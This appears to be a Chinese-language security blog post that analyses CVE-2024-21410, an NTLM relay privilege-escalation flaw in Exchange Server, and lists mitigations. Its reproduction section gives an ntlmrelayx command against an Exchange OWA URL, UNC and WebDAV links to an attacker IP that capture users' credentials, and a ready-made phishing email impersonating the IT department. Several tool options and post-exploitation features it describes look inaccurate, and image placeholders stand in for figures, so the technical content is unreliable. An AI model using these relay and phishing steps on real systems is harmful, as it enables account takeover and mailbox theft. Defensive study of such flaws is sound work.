CVE-2024-21410：Microsoft Exchange Server 特权提升漏洞深度分析与缓解

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

一个典型的 NTLMv2 认证流程大致如下：

  1. 协商 (Negotiate): 客户端向服务器发送协商消息，声明自己支持 NTLM 认证。
  2. 质询 (Challenge): 服务器收到协商消息后，生成一个随机数 (Challenge)，并发送给客户端。
  3. 身份验证 (Authenticate): 客户端使用用户的密码哈希和服务器发送的 Challenge，计算出一个响应 (Response)，并将 Response 发送回服务器。 关键在于，客户端发送的 Response 中并不包含用户的明文密码，而是密码哈希的衍生值。
  4. 验证 (Verify): 服务器使用用户的密码哈希和之前发送的 Challenge，独立计算出一个预期的 Response。 如果客户端发送的 Response 与服务器计算的预期 Response 一致，则验证通过，认证成功。

2.2 NTLM 中继攻击原理

NTLM 中继攻击的核心思想是 中间人攻击。 攻击者充当中间人，拦截客户端与服务器之间的 NTLM 认证流量，并将认证请求 中继 (Relay) 到另一个目标服务器，从而冒充客户端与目标服务器进行身份验证。

在 CVE-2024-21410 漏洞中，攻击者利用 NTLM 中继攻击，可以将用户泄露的 Net-NTLMv2 哈希 中继到易受攻击的 Exchange Server。 注意，这里中继的并不是完整的认证流程，而是步骤 3 中客户端计算出的 Response (Net-NTLMv2 哈希)。

NTLM 中继攻击的关键条件:

  • 中间人位置: 攻击者需要位于网络中间位置，能够拦截客户端与服务器之间的 NTLM 认证流量。 例如，通过 ARP 欺骗、中间人网络环境 (如公共 Wi-Fi)、或者攻击者已入侵网络并控制了某个中间节点等方式。
  • 目标服务器漏洞: 目标服务器需要存在漏洞，允许攻击者利用被中继的 Net-NTLMv2 哈希进行身份验证，且无需其他凭据。 CVE-2024-21410 正是 Exchange Server 中存在的此类漏洞。
  • 诱导受害者触发认证: 攻击者需要诱导受害者用户 (通常是域用户，最好是高权限用户) 向攻击者控制的服务器 (或共享资源) 发起 NTLM 认证请求，以便捕获 Net-NTLMv2 哈希。 常用的诱导方式包括：
    • 恶意链接/文档: 构造包含恶意 UNC 路径的链接或文档，例如 \\\\攻击者IP\\共享目录，诱导用户点击或打开。 当用户尝试访问这些恶意链接时，Windows 系统会自动尝试使用 NTLM 协议进行身份验证。
    • SMB/WebDAV 共享: 搭建恶意的 SMB 或 WebDAV 共享服务器，诱导用户访问。
    • LLMNR/NBT-NS 中毒: 在局域网内进行 LLMNR/NBT-NS 中毒攻击，劫持网络流量，诱导受害者向攻击者控制的机器进行认证。

2.3 CVE-2024-21410 漏洞在 Exchange Server 中的体现

CVE-2024-21410 漏洞的核心在于 Exchange Server 在处理某些特定类型的认证请求时，对 NTLM 认证的会话完整性校验不足， 使得攻击者可以 注入恶意的认证信息，从而 绕过 Exchange Server 的身份验证机制，并 以被中继用户的身份成功登录，最终实现权限提升。

具体的技术细节可能涉及到 Exchange Server 的前端服务 (例如 Client Access Service) 与后端服务 (例如 Mailbox Service) 之间的认证交互流程，以及漏洞点可能存在于某个特定的 API 接口或协议处理模块中。 但从攻击效果来看，攻击者可以利用此漏洞，以任意域用户的身份，操作 Exchange Server 的邮箱、日历、联系人等敏感数据，甚至可能控制整个 Exchange 组织。

3. 漏洞影响范围

CVE-2024-21410 漏洞影响以下版本的 Microsoft Exchange Server：

  • Microsoft Exchange Server 2019
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2013

请注意： 微软官方已发布安全更新来修复此漏洞，强烈建议受影响的用户尽快安装补丁。

4. 漏洞利用方式 (真实场景模拟)

为了更真实地模拟 CVE-2024-21410 漏洞的利用过程，我们将使用 Impacket 工具包 中的 ntlmrelayx.py 脚本搭建 NTLM 中继服务器，并演示如何诱导受害者用户触发 NTLM 认证，最终中继到 Exchange Server 并获得权限。

复现环境准备:

  • 攻击机 (Kali Linux 或其他 Linux 发行版): 用于运行 NTLM 中继服务器和攻击脚本。 需要安装 Python 和 Impacket 工具包 (pip install impacket)。
  • 受害者机器 (Windows 工作站，加入域): 模拟域内普通用户的工作站，用于触发 NTLM 认证。
  • 目标 Exchange Server (存在漏洞的 Exchange Server 版本): 需要搭建一个存在 CVE-2024-21410 漏洞的 Exchange Server 环境。 如果您没有 Exchange Server 环境，可以使用虚拟机搭建测试环境。 请务必在授权的测试环境中进行实验。
  • 域环境: 需要搭建一个 Windows 域环境，并将受害者机器和 Exchange Server 加入域。

复现步骤:

  1. 在攻击机上启动 NTLM 中继服务器 (使用 ntlmrelayx.py):

    在攻击机上，使用 Impacket 工具包中的 ntlmrelayx.py 脚本启动 NTLM 中继服务器。 我们需要指定中继的目标为 Exchange Server 的 Web 服务 URL (例如 OWA 或 EWS)。 假设 Exchange Server 的 IP 地址为 192.168.1.100， 使用以下命令启动 ntlmrelayx.py：

    sudo python3 ntlmrelayx.py -t [https://192.168.1.100/owa/](https://192.168.1.100/owa/) -tf all --remove-mic

    参数说明:

    • -t https://192.168.1.100/owa/: 指定 NTLM 中继的目标 URL 为 Exchange Server 的 OWA (Outlook Web App) 登录页面。 您可以根据实际情况修改为其他 Exchange Web 服务 URL，例如 EWS (https://192.168.1.100/ews/Exchange.asmx)。
    • -tf all: 尝试所有可用的攻击方式 (例如 Exchange 特权提升、WebDAV 客户端攻击等)。
    • --remove-mic: 移除消息完整性代码 (MIC)， 在某些情况下可以提高中继攻击的成功率。

    启动 ntlmrelayx.py 后，脚本将开始监听网络流量，等待捕获 NTLM 认证请求。

  2. 构造恶意链接/文档，诱导受害者用户点击:

    攻击者需要构造一种方式，诱导受害者用户 (域用户) 触发 NTLM 认证，并将认证流量发送到攻击机 (NTLM 中继服务器)。 常用的诱导方式是构造恶意链接，例如：

    • 恶意 UNC 路径链接: \\\\攻击机IP\\共享目录 (例如 \\\\192.168.1.101\\evilshare)
    • WebDAV 链接: \\攻击机IP@8080\\WebDAV (例如 \\192.168.1.101@8080\\WebDAV)

    攻击者可以将这些恶意链接嵌入到：

    • 电子邮件: 发送包含恶意链接的钓鱼邮件给受害者用户。
    • 即时通讯消息: 通过 IM 工具 (例如 Teams, Skype) 发送恶意链接。
    • 恶意文档 (Word, Excel, PowerPoint): 在 Office 文档中插入恶意链接。
    • 网页: 在受害者用户可能访问的网页上发布恶意链接 (例如论坛、社交媒体)。

    例如，攻击者可以发送一封钓鱼邮件，邮件内容如下：

    主题： urgent：请查看共享文件

尊敬的用户，

您好，

请点击以下链接查看共享文件：

\\\\192.168.1.101\\evilshare

请尽快查看，谢谢！

IT 部门

    邮件中的 \\\\192.168.1.101\\evilshare 就是恶意的 UNC 路径链接， 192.168.1.101 是攻击机的 IP 地址。

  3. 受害者用户点击恶意链接，触发 NTLM 认证:

    当受害者用户 (例如域管理员) 在其 Windows 工作站上点击了邮件中的恶意链接后，Windows 系统会自动尝试使用 NTLM 协议连接到 \\\\192.168.1.101\\evilshare， 并进行身份验证。 此时，受害者用户的 Net-NTLMv2 哈希将会被发送到攻击机 (192.168.1.101)， 并被 NTLM 中继服务器捕获。

    [Image of 受害者用户点击恶意链接触发NTLM认证]

  4. NTLM 中继服务器中继认证到 Exchange Server:

    ntlmrelayx.py 脚本在捕获到 Net-NTLMv2 哈希后，会自动将该哈希 中继 到之前指定的 Exchange Server 目标 URL (https://192.168.1.100/owa/)。

    [Image of ntlmrelayx.py 中继 NTLM 认证到 Exchange Server]

  5. 攻击者以受害者用户身份操作 Exchange Server:

    如果 CVE-2024-21410 漏洞利用成功，ntlmrelayx.py 脚本将会提示攻击者 成功获得 Exchange Server 的访问权限，并可能提供一些可用的操作选项，例如：

    • 导出邮箱 (mailboxdump): 导出受害者用户的邮箱数据。
    • 获取邮箱列表 (oab): 获取 Exchange 组织中所有邮箱的列表。
    • 执行 PowerShell 命令 (psexec): 在 Exchange Server 上执行 PowerShell 命令。

    攻击者可以根据 ntlmrelayx.py 脚本提供的选项，进一步利用获得的 Exchange Server 权限进行恶意操作，例如：

    • 读取受害者用户的敏感邮件。
    • 窃取 Exchange Server 上的敏感配置信息。
    • 在 Exchange Server 上植入后门。
    • 以 Exchange Server 为跳板，横向渗透到域内其他系统。

    [Image of 攻击者利用 ntlmrelayx.py 导出受害者邮箱]

请再次强调： 以上步骤仅用于安全研究和漏洞验证目的。 请勿在未经授权的网络环境中进行任何漏洞测试或攻击行为。 任何未经授权的网络攻击行为都是非法的，并可能导致严重的法律后果。

5. 漏洞缓解措施与安全建议

针对 CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞，微软官方已发布安全更新补丁。 最有效的缓解措施是立即安装微软官方发布的最新安全更新补丁，将 Exchange Server 版本升级到安全版本。

其他安全建议:

  1. 及时安装安全更新: 保持关注微软官方安全公告，及时安装 Exchange Server 及其他微软产品的安全更新补丁，防范已知漏洞被利用。
  2. 禁用 NTLM 认证 (如果可行): NTLM 协议本身存在安全隐患，如果您的环境允许，建议 逐步迁移到更安全的 Kerberos 协议，并禁用 NTLM 认证。 但禁用 NTLM 可能会影响部分旧版本应用或服务的兼容性，需要谨慎评估和测试。
  3. 启用 Extended Protection for Authentication: 在 Exchange Server 上启用 Extended Protection for Authentication 功能，可以增强 NTLM 认证的安全性， 降低 NTLM 中继攻击的风险。
  4. 限制 Exchange Server 访问来源: 配置防火墙规则，限制 Exchange Server 的访问来源， 只允许来自可信 IP 地址或网段的访问，减少潜在的攻击面。
  5. 加强域安全防护: 加强域环境的整体安全防护，例如：
    • 强制使用强密码策略: 提高域用户密码的复杂度，降低密码泄露风险。
    • 启用多因素认证 (MFA): 为高权限用户 (如域管理员、Exchange 管理员) 启用多因素认证，增强身份验证的安全性。
    • 限制本地管理员权限: 遵循最小权限原则，限制域内主机的本地管理员权限，降低横向渗透风险。
    • 网络隔离: 对 Exchange Server 等关键服务器进行网络隔离， 限制其与互联网的直接连接，降低被外部攻击的风险。
  6. 安全监控与日志审计: 加强对 Exchange Server 和域环境的安全监控， 重点关注异常登录行为、权限提升操作、以及可疑的网络流量。 启用详细的日志审计功能，记录关键安全事件，以便进行安全分析和事件溯源。
  7. 用户安全意识培训: 加强用户安全意识培训， 提高用户对钓鱼邮件、恶意链接、社会工程学攻击的防范意识，避免用户轻易点击不明链接或打开可疑文档。

6. 总结与思考

CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞再次警示我们，NTLM 中继攻击在域环境中仍然是一个不容忽视的安全威胁。 即使是 Exchange Server 这样经过长期安全加固的企业级应用，也可能存在 NTLM 中继漏洞。 安全防御需要持续投入，不断更新安全策略和技术手段，才能有效应对日益复杂的网络安全挑战。

深入理解 NTLM 协议的弱点，以及 NTLM 中继攻击的原理和利用方式，对于安全工程师至关重要。 防御 NTLM 中继攻击，不能仅仅依赖于安装补丁，更需要从协议层面、系统配置层面、以及用户安全意识层面进行综合防御。 例如，尽可能禁用 NTLM 认证，迁移到 Kerberos 协议，启用 Extended Protection for Authentication，加强域环境的整体安全防护，以及提升用户安全意识，都是非常重要的措施。

此外，CVE-2024-21410 漏洞的出现，也再次凸显了 供应链安全 的重要性。 企业使用的各种软硬件产品，都可能存在安全漏洞，甚至是 0day 漏洞。 建立完善的 漏洞管理和应急响应机制，及时获取安全情报，快速评估漏洞影响，并及时采取缓解措施，是保障企业信息安全的关键。

7. 结语

CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞是一个值得安全从业人员深入研究和警惕的漏洞案例。 通过对该漏洞的分析和复现，我们不仅可以学习到 NTLM 中继攻击的实战利用技巧，更能够深刻认识到域环境安全和邮件系统安全的重要性。

希望本文能够帮助读者更好地理解 CVE-2024-21410 漏洞的原理、危害和缓解措施，并在实际工作中加强对 Exchange Server 及域环境的安全防护，共同构建更加安全可靠的企业网络环境。

本次关于 CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞的深度分析与缓解措施就分享到这里。 后续将继续关注最新的安全漏洞动态，并分享更多有价值的技术研究和实践经验。 欢迎各位安全同仁交流探讨，共同进步。